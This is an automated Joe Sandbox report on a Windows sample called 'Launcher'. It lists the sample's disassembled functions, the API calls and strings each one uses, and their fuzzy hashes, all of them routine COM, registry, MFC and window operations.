ShellAboutW.SHELL32(?,?,Developed By Charlie KindelMichael Nelson, and Michael Antonio,00000000), ref: 0066B34B

Strings

Developed By Charlie KindelMichael Nelson, and Michael Antonio, xrefs: 0066B344

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #1143#1165#1172AboutIconLoadShell
String ID: Developed By Charlie KindelMichael Nelson, and Michael Antonio
API String ID: 29937196-3714244911
Opcode ID: 15c1cd1f21982704206d771b7b1ea73d4936808adf38f92b5343abdbf08d6679
Instruction ID: 6462423c21650393e2aca0c080946195d95b401005e3efd44cabc5ef36c9441c
Opcode Fuzzy Hash: 15c1cd1f21982704206d771b7b1ea73d4936808adf38f92b5343abdbf08d6679
Instruction Fuzzy Hash: 6DE04F71600211BBD7642771ED09E6B2A6FDF81760B061969B406E7292DB65C8418664

Function 0067B460 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0067B467
#489.MFC42U(0000008D,00000000,00000008,0066ED96,00000090), ref: 0067B478
#567.MFC42U(0000008D,00000000,00000008,0066ED96,00000090), ref: 0067B492
#567.MFC42U(0000008D,00000000,00000008,0066ED96,00000090), ref: 0067B4AD

Strings

Pg, xrefs: 0067B497

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #567$#489H_prolog3
String ID: Pg
API String ID: 3691984168-1016263835
Opcode ID: b567e63a74ef1e148fbd149fd06d3cf736593673282688619e21ce24be4afd35
Instruction ID: a491b9d16ae92731b3f0d24f19fbb79e853ab3ef5ab1e2e82a9c39b3923462e1
Opcode Fuzzy Hash: b567e63a74ef1e148fbd149fd06d3cf736593673282688619e21ce24be4afd35
Instruction Fuzzy Hash: 6CF0A771A00616DBDB44AFD4840679CBB72BF59700F90805DE1887F381CBB51E05C7D6

Function 0067DB15 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(OLE32.DLL,?,0066E204,?,?,?), ref: 0067DB2B
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 0067DB3D
FreeLibrary.KERNEL32(00000000,?,0066E204,?,?,?), ref: 0067DB52

Strings

CoInitializeEx, xrefs: 0067DB37
OLE32.DLL, xrefs: 0067DB26

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CoInitializeEx$OLE32.DLL
API String ID: 145871493-3669712014
Opcode ID: 2fb3eec536413e64536ab517c285a5c4986604bbde6481c4e4aac93853c0f6dc
Instruction ID: 32863122394adc9730ed06e0e1c8b7966adf70e26f3233ceae8485425d57fea1
Opcode Fuzzy Hash: 2fb3eec536413e64536ab517c285a5c4986604bbde6481c4e4aac93853c0f6dc
Instruction Fuzzy Hash: 01E04F71501631BFDB204B24EC0C7D736ABAF51F23B022304E555A23A0CB748648C765

Function 00670900 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

#2371.MFC42U ref: 00670917
#6193.MFC42U(00000000,?,?,00000000,00000000,00000015,?), ref: 0067096E
GetWindowRect.USER32(00000000,?), ref: 00670939

Part of subcall function 0066C8A6: ScreenToClient.USER32(?,?), ref: 0066C8B7
Part of subcall function 0066C8A6: ScreenToClient.USER32(?,?), ref: 0066C8C4
Part of subcall function 0066C8A6: #3133.MFC42U(?,?,?,0066C46E,?), ref: 0066C8CC

GetWindowRect.USER32(00000000,?), ref: 0067098D
#6193.MFC42U(00000000,00000004,?,?,?,00000014,?), ref: 006709BF

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #6193ClientRectScreenWindow$#2371#3133
String ID:
API String ID: 3329109363-0
Opcode ID: f425cbd376bfb564e95b1b18d37baac14866b134a474e17c36b88ec2078df2b7
Instruction ID: f15dd316014b7075f9330a195d7ec871defaffcf0a65abf3a10df9574df9e419
Opcode Fuzzy Hash: f425cbd376bfb564e95b1b18d37baac14866b134a474e17c36b88ec2078df2b7
Instruction Fuzzy Hash: 54213271600609ABDB14DB78CD45FEFB7BAEF88724F044219B515E72D1DB30AA05C764

Function 0066C3D0 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

#2371.MFC42U ref: 0066C3E7
#6193.MFC42U(00000000,?,?,00000000,00000000,00000015,?), ref: 0066C43E
GetWindowRect.USER32(00000000,?), ref: 0066C409

Part of subcall function 0066C8A6: ScreenToClient.USER32(?,?), ref: 0066C8B7
Part of subcall function 0066C8A6: ScreenToClient.USER32(?,?), ref: 0066C8C4
Part of subcall function 0066C8A6: #3133.MFC42U(?,?,?,0066C46E,?), ref: 0066C8CC

GetWindowRect.USER32(00000000,?), ref: 0066C45D
#6193.MFC42U(00000000,00000004,?,?,?,00000014,?), ref: 0066C48F

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #6193ClientRectScreenWindow$#2371#3133
String ID:
API String ID: 3329109363-0
Opcode ID: d192334f8b6257e16e21245e3cf245f05b2fc51eb5ed159f3c4e2380f6f7f689
Instruction ID: 1e3b47e0f264204bd66522c40e2f91ff61b8796cad0cbe85a10df78a7c617a40
Opcode Fuzzy Hash: d192334f8b6257e16e21245e3cf245f05b2fc51eb5ed159f3c4e2380f6f7f689
Instruction Fuzzy Hash: 97215E71600609ABDB14DF78CD45FFEB7BAEF88724F144218B525A72C1DB30AA05CB64

Function 0066B6B0 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0066B6D7
CoFreeUnusedLibraries.OLE32 ref: 0066B6EA
GetTickCount.KERNEL32 ref: 0066B6F0
#4692.MFC42U(?), ref: 0066B700
GetTickCount.KERNEL32 ref: 0066B720

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CountTick$#4692FreeLibrariesUnused
String ID:
API String ID: 1635327766-0
Opcode ID: 5513f9297d14c8faa1082b09f3025441100a4184a2f901cdf1a634087424054b
Instruction ID: 0eb26afb3bf95f68d8400921f2e9191ffbc2b577692ccce25788e04d31156fa0
Opcode Fuzzy Hash: 5513f9297d14c8faa1082b09f3025441100a4184a2f901cdf1a634087424054b
Instruction Fuzzy Hash: B201D631500111EFC720EF68F84D869B7A7AB95B20720732AE908C3721EF7059C18B59

Function 00670B66 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F02), ref: 00670B85
SetCursor.USER32(00000000,?,?,?,?,0066DF45), ref: 00670B8C

Part of subcall function 00670BBB: SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00670BE4
Part of subcall function 00670BBB: #2634.MFC42U(00000000,?,80000000,?,LaunchPermission), ref: 00670C33
Part of subcall function 00670BBB: SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00670C46
Part of subcall function 00670BBB: SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00670C57

#6330.MFC42U(00000000,?,?,?,?,0066DF45), ref: 00670B9C
LoadCursorW.USER32(00000000,00007F00), ref: 00670BA7
SetCursor.USER32(00000000,?,?,?,?,0066DF45), ref: 00670BAE

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Cursor$MessageSend$Load$#2634#6330
String ID:
API String ID: 3859525188-0
Opcode ID: 3f99d207ce92b9a7be2304851dedc4dc6a1ec7efaaca9f72ad1b418bdee8a242
Instruction ID: ce7ad15ebc7e57fa61a3d1308df8be67722bcd1d88ece9fc0dce9ad82baa50d5
Opcode Fuzzy Hash: 3f99d207ce92b9a7be2304851dedc4dc6a1ec7efaaca9f72ad1b418bdee8a242
Instruction Fuzzy Hash: FDF0A032601314BB87016FE59C4DD9B7B5EEF877513010526FA169B142CFB99809C7E4

Function 0066D7A2 Relevance: 7.5, APIs: 5, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

#810.MFC42U(?,0066D83D), ref: 0066D7B3
#795.MFC42U(?,0066D83D), ref: 0066D7BE
#795.MFC42U(?,0066D83D), ref: 0066D7C9
#795.MFC42U(?,0066D83D), ref: 0066D7D4
#804.MFC42U(?,0066D83D), ref: 0066D7DF

Part of subcall function 006794F7: #810.MFC42U(?,0066D7EF,?,0066D83D), ref: 00679505

Part of subcall function 0066C9F5: #800.MFC42U(?,0066CA4D), ref: 0066CA06
Part of subcall function 0066C9F5: #800.MFC42U(?,0066CA4D), ref: 0066CA11
Part of subcall function 0066C9F5: #656.MFC42U(?,0066CA4D), ref: 0066CA1C
Part of subcall function 0066C9F5: #609.MFC42U(?,0066CA4D), ref: 0066CA24

Part of subcall function 0066F46C: #800.MFC42U(?,0066D805,?,0066D83D), ref: 0066F47D
Part of subcall function 0066F46C: #800.MFC42U(?,0066D805,?,0066D83D), ref: 0066F488
Part of subcall function 0066F46C: #800.MFC42U(?,0066D805,?,0066D83D), ref: 0066F493
Part of subcall function 0066F46C: #800.MFC42U(?,0066D805,?,0066D83D), ref: 0066F49E
Part of subcall function 0066F46C: #616.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4A9
Part of subcall function 0066F46C: #656.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4B4
Part of subcall function 0066F46C: #609.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4BF
Part of subcall function 0066F46C: #609.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4CA
Part of subcall function 0066F46C: #804.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4D2

Part of subcall function 00670A74: #693.MFC42U(?,0066D810,?,0066D83D), ref: 00670A85
Part of subcall function 00670A74: #609.MFC42U(?,0066D810,?,0066D83D), ref: 00670A90
Part of subcall function 00670A74: #609.MFC42U(?,0066D810,?,0066D83D), ref: 00670A9B
Part of subcall function 00670A74: #609.MFC42U(?,0066D810,?,0066D83D), ref: 00670AA6
Part of subcall function 00670A74: #609.MFC42U(?,0066D810,?,0066D83D), ref: 00670AAE

Part of subcall function 0066C53F: #693.MFC42U(?,0066C5BD), ref: 0066C550
Part of subcall function 0066C53F: #609.MFC42U(?,0066C5BD), ref: 0066C55B
Part of subcall function 0066C53F: #609.MFC42U(?,0066C5BD), ref: 0066C566
Part of subcall function 0066C53F: #609.MFC42U(?,0066C5BD), ref: 0066C56E

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #609$#800$#795$#656#693#804#810$#616
String ID:
API String ID: 1443703491-0
Opcode ID: 312852217900670b4ef4d38c0380b433334b71deb7a79cdb575afd581cd9e417
Instruction ID: c39662b069fb04e4734997c8e9e280f159d932cde1ac40e1bf109861965dae7b
Opcode Fuzzy Hash: 312852217900670b4ef4d38c0380b433334b71deb7a79cdb575afd581cd9e417
Instruction Fuzzy Hash: 58F0A431414A168AC378FB30D4515EA73E3BF58314F9186ADA0AF02056EF653909CF84

Function 0066C9F5 Relevance: 7.5, APIs: 5, Instructions: 16COMMONLIBRARYCODE

Download Yara Rule

APIs

#800.MFC42U(?,0066CA4D), ref: 0066CA06
#800.MFC42U(?,0066CA4D), ref: 0066CA11
#656.MFC42U(?,0066CA4D), ref: 0066CA1C
#609.MFC42U(?,0066CA4D), ref: 0066CA24

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#609#656
String ID:
API String ID: 1737153938-0
Opcode ID: 1c8513a5f102b93a974850fb6b3ee44784ec6139a7436323a0b7cdf76a1f3e59
Instruction ID: 872f615ba2c56d1a896ca3dabb58d9a76129ec35a230381b9c9124b99db76f08
Opcode Fuzzy Hash: 1c8513a5f102b93a974850fb6b3ee44784ec6139a7436323a0b7cdf76a1f3e59
Instruction Fuzzy Hash: 48E0EC35040912C7C375EF20C592AE9B7A3AF64720F50896EE5AB03591FF706A09CB44

Function 0066B463 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32.dll), ref: 0066B468
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 0066B479

Strings

HeapSetInformation, xrefs: 0066B473
Kernel32.dll, xrefs: 0066B463

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: HeapSetInformation$Kernel32.dll
API String ID: 1646373207-3460614246
Opcode ID: 3ff3cb2c1f2c9f1dc9a04ad832f1dc6f304431c1e0033eb13058d8dea4c6d88a
Instruction ID: 41185fd2478cf8a78de1d2b6ee151dbc41c2ac71f548e7f9165f98e4112af406
Opcode Fuzzy Hash: 3ff3cb2c1f2c9f1dc9a04ad832f1dc6f304431c1e0033eb13058d8dea4c6d88a
Instruction Fuzzy Hash: 57D05E70B123227BDB6027F1BD0CABB2EDF9B00B917051510BA05E6294DE60CC4087A1

Function 00673940 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

#861.MFC42U(?,00000001), ref: 006739C4
#6325.MFC42U(?,00000001,00000000), ref: 00673A4F

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #6325#861
String ID:
API String ID: 3876780826-0
Opcode ID: f01b3ad60479f8913b66473ad970c39de067e67da35f23cb55fd137020a3a045
Instruction ID: bb6dbb11ca301ca110c6e3ced454fe6572a2c25929c606b4664cbf32624970a4
Opcode Fuzzy Hash: f01b3ad60479f8913b66473ad970c39de067e67da35f23cb55fd137020a3a045
Instruction Fuzzy Hash: D841F571E10218EFCB41DF98C841BADBBB2BF49314F208099E909AB391D771AE40DF55

Function 0067C80A Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetAclInformation.ADVAPI32(?,?,0000000C,00000002,00000000,00000000,00000000,?,?,?,?,?,0067C6E4,00000000,00000000), ref: 0067C83D
GetAce.ADVAPI32(?,00000000,?,?,?,?,?,?,0067C6E4,00000000,00000000), ref: 0067C854
AddAce.ADVAPI32(?,00000002,000000FF,?,?,?,?,?,?,?,0067C6E4,00000000,00000000), ref: 0067C86C
GetLastError.KERNEL32(?,?,?,?,?,0067C6E4,00000000,00000000), ref: 0067C88F

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ErrorInformationLast
String ID:
API String ID: 3635006208-0
Opcode ID: ef7356f0499d9b95027df2e1c2084fe3d63f9dc17ffdf4bc759c429c937d0aee
Instruction ID: ca1b8514820fecad6c29742ba7020ed415778f115a89d786b7eb2fc9706dc793
Opcode Fuzzy Hash: ef7356f0499d9b95027df2e1c2084fe3d63f9dc17ffdf4bc759c429c937d0aee
Instruction Fuzzy Hash: CA11A771700115ABD710DBB59C45FBFBBAEBB45B20B10812DB919E6280DB30DD01D7B2

Function 00677419 Relevance: 6.1, APIs: 4, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000040), ref: 0067743B
RegOpenKeyW.ADVAPI32(00000000,?,?), ref: 0067745D
RegEnumKeyW.ADVAPI32(?,00000000,?,00000040), ref: 00677496
RegQueryValueW.ADVAPI32(?,?,?,00000208), ref: 006774C9
CLSIDFromString.OLE32(00000000,-00000008), ref: 00677570
wcstol.MSVCRT ref: 00677610
wcsrchr.MSVCRT ref: 0067762C
wcstol.MSVCRT ref: 00677650
wsprintfW.USER32 ref: 00677696
wsprintfW.USER32 ref: 006776B9
RegCloseKey.ADVAPI32(?), ref: 00677743
RegCloseKey.ADVAPI32(00000000), ref: 00677754

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CloseEnumwcstolwsprintf$FromOpenQueryStringValuewcsrchr
String ID:
API String ID: 1473628064-0
Opcode ID: c772abc5d35c02225d37bbffd54929579b68b8858473755b2dc7859f4ae2e03b
Instruction ID: 0f7b1350c0d64a32ee3c44e551c35660223d1608153d374b0cfc5286a6405ef6
Opcode Fuzzy Hash: c772abc5d35c02225d37bbffd54929579b68b8858473755b2dc7859f4ae2e03b
Instruction Fuzzy Hash: 22219F71D0822DAEEB65DB60CC84BE9B7B9EB04305F0051E9E60DA6150DB786F84EF51

Function 0066CED0 Relevance: 6.0, APIs: 4, Instructions: 44windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0066CEE9
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0066CF05
#3297.MFC42U(00000000,00000001,?,00000028), ref: 0066CF30
#2637.MFC42U(00000001,00000000,00000001,?,00000028), ref: 0066CF39

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#2637#3297
String ID:
API String ID: 837686103-0
Opcode ID: 2cf10de8a80631ada4dd30ec5f74b691a09a0351dcaf6dbc580776d6396593d4
Instruction ID: d0a55177043bd03e58f35062eac78483c7af8f238cbef64f351029d4dbc924e6
Opcode Fuzzy Hash: 2cf10de8a80631ada4dd30ec5f74b691a09a0351dcaf6dbc580776d6396593d4
Instruction Fuzzy Hash: 91F0C2323407517BF3205A65DC8AFE7BB5BFB80B60F014125FA45AA0C1CBB26C1587A5

Function 0067F25C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00683B00,?,?,0066B731,00683998), ref: 0067F268
LeaveCriticalSection.KERNEL32(00683B00,?,?,0066B731,00683998), ref: 0067F29B
SetEvent.KERNEL32(00000000,0066B731,00683998), ref: 0067F32B
ResetEvent.KERNEL32 ref: 0067F337

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: 22d7621241a24a01abf7f8f1aa9e7ce1071329b7d1aadc847a0b448c110b7262
Instruction ID: d6ea45f512c1024b378d71751bcf04b79b58337fc9606f7c2f8111b67187c9e8
Opcode Fuzzy Hash: 22d7621241a24a01abf7f8f1aa9e7ce1071329b7d1aadc847a0b448c110b7262
Instruction Fuzzy Hash: E9012875600270BBCB04AF98FC5CE997BA7FB59F117026229E906D7320CB70AA41CB94

Function 0067CAD4 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000000,?,?,0067CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CAF9
OpenProcessToken.ADVAPI32(00000000,?,?,0067CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CB00
GetLastError.KERNEL32(?,?,0067CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CB0A

Part of subcall function 0067CB3B: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,?,00000000,?,?,?,?,0067CB28,00000000,00000000,?), ref: 0067CB71
Part of subcall function 0067CB3B: GetLastError.KERNEL32(?,?,?,0067CB28,00000000,00000000,?,?,?,0067CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CB77

CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,?,0067CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CB2D

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ErrorLastProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 1647960853-0
Opcode ID: 93a5036000dfc67a5a8909940bcdce7f27201d080574d7ff9233993e894ab042
Instruction ID: 23660f826945b2a173667fd14eac531a9f381b088d1965c45dd94b79cd33dc1f
Opcode Fuzzy Hash: 93a5036000dfc67a5a8909940bcdce7f27201d080574d7ff9233993e894ab042
Instruction Fuzzy Hash: 56F04971600115FFC7109FB59C09AAB7BBAFF55B61B118119B949D7210EA34DD00D7A0

Function 0066EEC0 Relevance: 6.0, APIs: 4, Instructions: 35windowCOMMON

Download Yara Rule

APIs

#6330.MFC42U(00000001), ref: 0066EEC9
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066EEDE
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066EEF2
#2634.MFC42U(00000001), ref: 0066EF13

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#2634#6330
String ID:
API String ID: 3857549013-0
Opcode ID: 2f9be5996c58761e801cf612a9069b80c797ccc40cbaecaeb01519792c8ddbf2
Instruction ID: b1ef3349dfbd3ff14c5ae1a0ed56212a235d75850c5eb3ea1c789f8adea29c73
Opcode Fuzzy Hash: 2f9be5996c58761e801cf612a9069b80c797ccc40cbaecaeb01519792c8ddbf2
Instruction Fuzzy Hash: 01F0A0741046447BE7325632DD8EED7BABBDBC2751F91041DF10982162CB731C41C720

Function 0066E409 Relevance: 6.0, APIs: 4, Instructions: 32windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E41E
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E436

Part of subcall function 0066E583: #6211.MFC42U(?,0000130B,?,?,0066D5AA,00000000), ref: 0066E5BE
Part of subcall function 0066E583: RedrawWindow.USER32(?,00000000,00000000,00000105,?,0000130B,?,?,0066D5AA,00000000), ref: 0066E669

SendMessageW.USER32(?,00001309,00000000,00000000), ref: 0066E451
#6211.MFC42U(00000000), ref: 0066E45E

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

